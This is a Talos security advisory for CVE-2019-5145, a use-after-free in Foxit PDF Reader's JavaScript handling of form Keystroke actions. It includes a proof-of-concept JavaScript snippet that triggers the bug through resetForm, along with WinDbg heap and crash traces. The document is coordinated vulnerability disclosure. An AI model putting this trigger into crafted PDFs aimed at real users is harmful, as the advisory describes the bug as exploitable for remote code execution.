Talos Vulnerability Report

TALOS-2019-0934

Foxit PDF Reader JavaScript field keystroke action remote code execution vulnerability

January 16, 2020
CVE Number

CVE-2019-5145

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit PDF Reader, version 9.7.0.29435. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.7.0.29435

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

PDF documents support editable forms that can be associated with JavaScript actions that can be used to validate, edit or otherwise update contexts of the document. Form fields inside PDF documents can have JavaScript event handlers attached to them. Event handlers are executed when one of the specified "actions" happens. There exists a vulnerability in the way Foxit handles Keystroke actions which are triggered when a user types into the field. In Foxit PDF Reader, this action can be triggered without user interaction via resetForm function. Following excerpt from our PoC demonstrates this:

function main() {

    var field = this.getField('txt2');
    field['defaultValue'] = function(){};  // allocation happens here
    field.setAction("Keystroke",'f();'); // to be executed when something is typed into the field
    app.activeDocs[0].resetForm(); //resets fields to default values
}

function f() { 
    this.getField('txt2')['defaultValue'] = {};     // free happens here
        // UAF happens after return from here
}

Function resetForm resets the contents of all specified fields to their default values. In the above Javascript code, we first assign an empty function as a default field value and then we set up an event handler to be invoked on Keystroke event. When form is reset, the event handler will kick in and once again change the default value. Changing the default value during form reseting results in a use after free as can be observed by following debugger output. First, we set a breakpoint just before an object is allocated so we can track its lifetime through the execution:

sxe ld dhcpcsvc
bp FoxitReader!safe_vsnprintf+0x1105f9
bp FoxitReader!CFXJSE_Arguments::GetValue+0xf7558d "?eax;g"

We break on dhcpcsvc module load for convenience, as there are many calls to the same breakpoint before that, but we are only interested in the first one after this module is loaded. Second breakpoint breaks just after the return from RtlAllocateHeap where eax contains a pointer to newly allocated memory:

0:005> bp FoxitReader!safe_vsnprintf+0x1105f9
0:005> g
Breakpoint 3 hit
eax=00dbe490 ebx=00000001 ecx=0bb4efd0 edx=04fe1f85 esi=ffffffff edi=0bb4efd0
eip=02753669 esp=00dbe47c ebp=00dbe49c iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
FoxitReader!safe_vsnprintf+0x1105f9:
02753669 e8e28f2c00      call    FoxitReader!safe_vsnprintf+0x3d95e0 (02a1c650)
0:000> bp FoxitReader!CFXJSE_Arguments::GetValue+0xf7558d
0:000> g
Breakpoint 4 hit
eax=1a65cfe0 ebx=00000000 ecx=da911ebe edx=01000002 esi=00000020 edi=0bb4efd0
eip=040b950d esp=00dbe434 ebp=00dbe438 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
FoxitReader!CFXJSE_Arguments::GetValue+0xf7558d:
040b950d 85c0            test    eax,eax
0:000> ?eax
Evaluate expression: 442879968 = 1a65cfe0
0:000> dd eax
1a65cfe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
1a65cff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
1a65d000  ???????? ???????? ???????? ????????
1a65d010  ???????? ???????? ???????? ????????
1a65d020  ???????? ???????? ???????? ????????
1a65d030  ???????? ???????? ???????? ????????
1a65d040  ???????? ???????? ???????? ????????
1a65d050  ???????? ???????? ???????? ????????
0:000> !heap -p -a eax
    address 1a65cfe0 found in
    _DPH_HEAP_ROOT @ ee1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1a532a90:         1a65cfe0               20 -         1a65c000             2000
          unknown!fillpattern
    6bd4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
    77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77d75d3e ntdll!RtlAllocateHeap+0x0000003e
    040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
    02a1c4bb FoxitReader!safe_vsnprintf+0x003d944b
    02a1ca46 FoxitReader!safe_vsnprintf+0x003d99d6
    02a1c663 FoxitReader!safe_vsnprintf+0x003d95f3
    0275366e FoxitReader!safe_vsnprintf+0x001105fe
    0285b28c FoxitReader!safe_vsnprintf+0x0021821c
    028595af FoxitReader!safe_vsnprintf+0x0021653f
    01b42977 FoxitReader!CryptUIWizExport+0x001dadf7
    01b2ea7f FoxitReader!CryptUIWizExport+0x001c6eff
    01b4a753 FoxitReader!CryptUIWizExport+0x001e2bd3
    01b0bf04 FoxitReader!CryptUIWizExport+0x001a4384
    03143c22 FoxitReader!FXJSE_GetClass+0x00000492
    031a1d22 FoxitReader!CFXJSE_Arguments::GetValue+0x0005dda2
    031b9b73 FoxitReader!CFXJSE_Arguments::GetValue+0x00075bf3
    031b98f3 FoxitReader!CFXJSE_Arguments::GetValue+0x00075973
    031b94de FoxitReader!CFXJSE_Arguments::GetValue+0x0007555e
    03427394 FoxitReader!CFXJSE_Arguments::GetValue+0x002e3414
    03422b4d FoxitReader!CFXJSE_Arguments::GetValue+0x002debcd
    034b29e7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036ea67
    034fe07a FoxitReader!CFXJSE_Arguments::GetValue+0x003ba0fa
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
    0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
    0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
    03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
    03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7

The above shows us when the object is being allocated and its size. This allocation actually happens during the first assignment of defaultValue for field txt2, or the following line from our PoC:

field['defaultValue'] = function(){}; 

Next, we want to see when this object is being freed. Following breakpoint breaks just before the object is freed:

0:000> bp FoxitReader!safe_vsnprintf+0x10d2ae
0:000> g
Breakpoint 6 hit
eax=00000001 ebx=00000001 ecx=1d872fe0 edx=00ee0000 esi=1a65cfe0 edi=0bb4efd0
eip=0275031e esp=00dbdc48 ebp=00dbdc64 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
FoxitReader!safe_vsnprintf+0x10d2ae:
0275031e e8bdc42c00      call    FoxitReader!safe_vsnprintf+0x3d9770 (02a1c7e0)
0:000> ub
FoxitReader!safe_vsnprintf+0x10d297:
02750307 c0fd83          sar     ch,83h
0275030a f8              clc
0275030b 0477            add     al,77h
0275030d 3f              aas
0275030e ff248558037502  jmp     dword ptr FoxitReader!safe_vsnprintf+0x10d2e8 (02750358)[eax*4]
02750315 8d4e14          lea     ecx,[esi+14h]
02750318 e8c3922c00      call    FoxitReader!safe_vsnprintf+0x3d6570 (02a195e0)
0275031d 56              push    esi
0:000> !heap -p -a poi(esp)
    address 1a65cfe0 found in
    _DPH_HEAP_ROOT @ ee1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1a532a90:         1a65cfe0               20 -         1a65c000             2000
    6bd4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
    77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77d75d3e ntdll!RtlAllocateHeap+0x0000003e
    040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
    02a1c4bb FoxitReader!safe_vsnprintf+0x003d944b
    02a1ca46 FoxitReader!safe_vsnprintf+0x003d99d6
    02a1c663 FoxitReader!safe_vsnprintf+0x003d95f3
    0275366e FoxitReader!safe_vsnprintf+0x001105fe
    0285b28c FoxitReader!safe_vsnprintf+0x0021821c
    028595af FoxitReader!safe_vsnprintf+0x0021653f
    01b42977 FoxitReader!CryptUIWizExport+0x001dadf7
    01b2ea7f FoxitReader!CryptUIWizExport+0x001c6eff
    01b4a753 FoxitReader!CryptUIWizExport+0x001e2bd3
    01b0bf04 FoxitReader!CryptUIWizExport+0x001a4384
    03143c22 FoxitReader!FXJSE_GetClass+0x00000492
    031a1d22 FoxitReader!CFXJSE_Arguments::GetValue+0x0005dda2
    031b9b73 FoxitReader!CFXJSE_Arguments::GetValue+0x00075bf3
    031b98f3 FoxitReader!CFXJSE_Arguments::GetValue+0x00075973
    031b94de FoxitReader!CFXJSE_Arguments::GetValue+0x0007555e
    03427394 FoxitReader!CFXJSE_Arguments::GetValue+0x002e3414
    03422b4d FoxitReader!CFXJSE_Arguments::GetValue+0x002debcd
    034b29e7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036ea67
    034fe07a FoxitReader!CFXJSE_Arguments::GetValue+0x003ba0fa
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
    0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
    0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
    03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057

Above shows the object just before it's freed. We can observe Foxit is now executing the event handler, the following line specifically:

this.getField('txt2')['defaultValue'] = {};

Reassigning the defaultValue causes our object to be freed. If we continue execution we can observe the following crash:

0:000> g
(2678.2140): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00dbe618 ebx=1a65cfe0 ecx=1a65cfe0 edx=00ee0000 esi=1a65cfe0 edi=00000002
eip=0274f82a esp=00dbe5d8 ebp=00dbe624 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210286
FoxitReader!safe_vsnprintf+0x10c7ba:
0274f82a 0fb603          movzx   eax,byte ptr [ebx]         ds:002b:1a65cfe0=??
0:000> !heap -p -a ebx
    address 1a65cfe0 found in
    _DPH_HEAP_ROOT @ ee1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   1a532a90:         1a65c000             2000
    6bd4ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77e12c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77d73c45 ntdll!RtlpFreeHeap+0x000000d5
    77d73812 ntdll!RtlFreeHeap+0x00000222
    040b94b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75537
    04097261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f532e1
    02a1c51b FoxitReader!safe_vsnprintf+0x003d94ab
    02a1cbae FoxitReader!safe_vsnprintf+0x003d9b3e
    02a1c812 FoxitReader!safe_vsnprintf+0x003d97a2
    02750323 FoxitReader!safe_vsnprintf+0x0010d2b3
    027536d2 FoxitReader!safe_vsnprintf+0x00110662
    0285b28c FoxitReader!safe_vsnprintf+0x0021821c
    028595af FoxitReader!safe_vsnprintf+0x0021653f
    01b42977 FoxitReader!CryptUIWizExport+0x001dadf7
    01b2ea7f FoxitReader!CryptUIWizExport+0x001c6eff
    01b4a753 FoxitReader!CryptUIWizExport+0x001e2bd3
    01b0bf04 FoxitReader!CryptUIWizExport+0x001a4384
    03143c22 FoxitReader!FXJSE_GetClass+0x00000492
    031a1d22 FoxitReader!CFXJSE_Arguments::GetValue+0x0005dda2
    031b9b73 FoxitReader!CFXJSE_Arguments::GetValue+0x00075bf3
    031b98f3 FoxitReader!CFXJSE_Arguments::GetValue+0x00075973
    031b94de FoxitReader!CFXJSE_Arguments::GetValue+0x0007555e
    03427394 FoxitReader!CFXJSE_Arguments::GetValue+0x002e3414
    03422b4d FoxitReader!CFXJSE_Arguments::GetValue+0x002debcd
    034b29e7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036ea67
    034fe07a FoxitReader!CFXJSE_Arguments::GetValue+0x003ba0fa
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
    0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
    0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
    03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057


0:000> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00dbe624 0274f629 FoxitReader!safe_vsnprintf+0x10c7ba
01 00dbe664 02858a46 FoxitReader!safe_vsnprintf+0x10c5b9
02 00dbe6c0 0284dded FoxitReader!safe_vsnprintf+0x2159d6
03 00dbe6e0 01a8301d FoxitReader!safe_vsnprintf+0x20ad7d
04 00dbe738 01a32a35 FoxitReader!CryptUIWizExport+0x11b49d
05 00dbe794 031439bb FoxitReader!CryptUIWizExport+0xcaeb5
06 00dbe7dc 0330bb99 FoxitReader!FXJSE_GetClass+0x22b
07 00dbe830 0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x1c7c19
08 00dbe8c4 0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x1c73af
09 00dbe90c 0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x1c7671
0a 00dbe928 034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x1c750b
0b 00dbe944 03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x36eb47
0c 00dbe984 03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x2fd480
0d 00dbe9b0 0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x2fd480
0e 00dbe9c4 0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x2fb00f
0f 00dbe9f0 0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x2fae2b
10 00dbeab4 03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x36576
11 00dbeb34 03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x36057
12 00dbebf0 0314210f FoxitReader!CFXJSE_Arguments::GetValue+0x231f7

Above crash is due to access violation on freed memory read. This use after free occurs after return from event handler which means we can manipulate the freed memory before it's reused, which can be abused to arbitrary remote code execution.

Timeline

2019-10-23 - Vendor Disclosure
2020-01-16 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.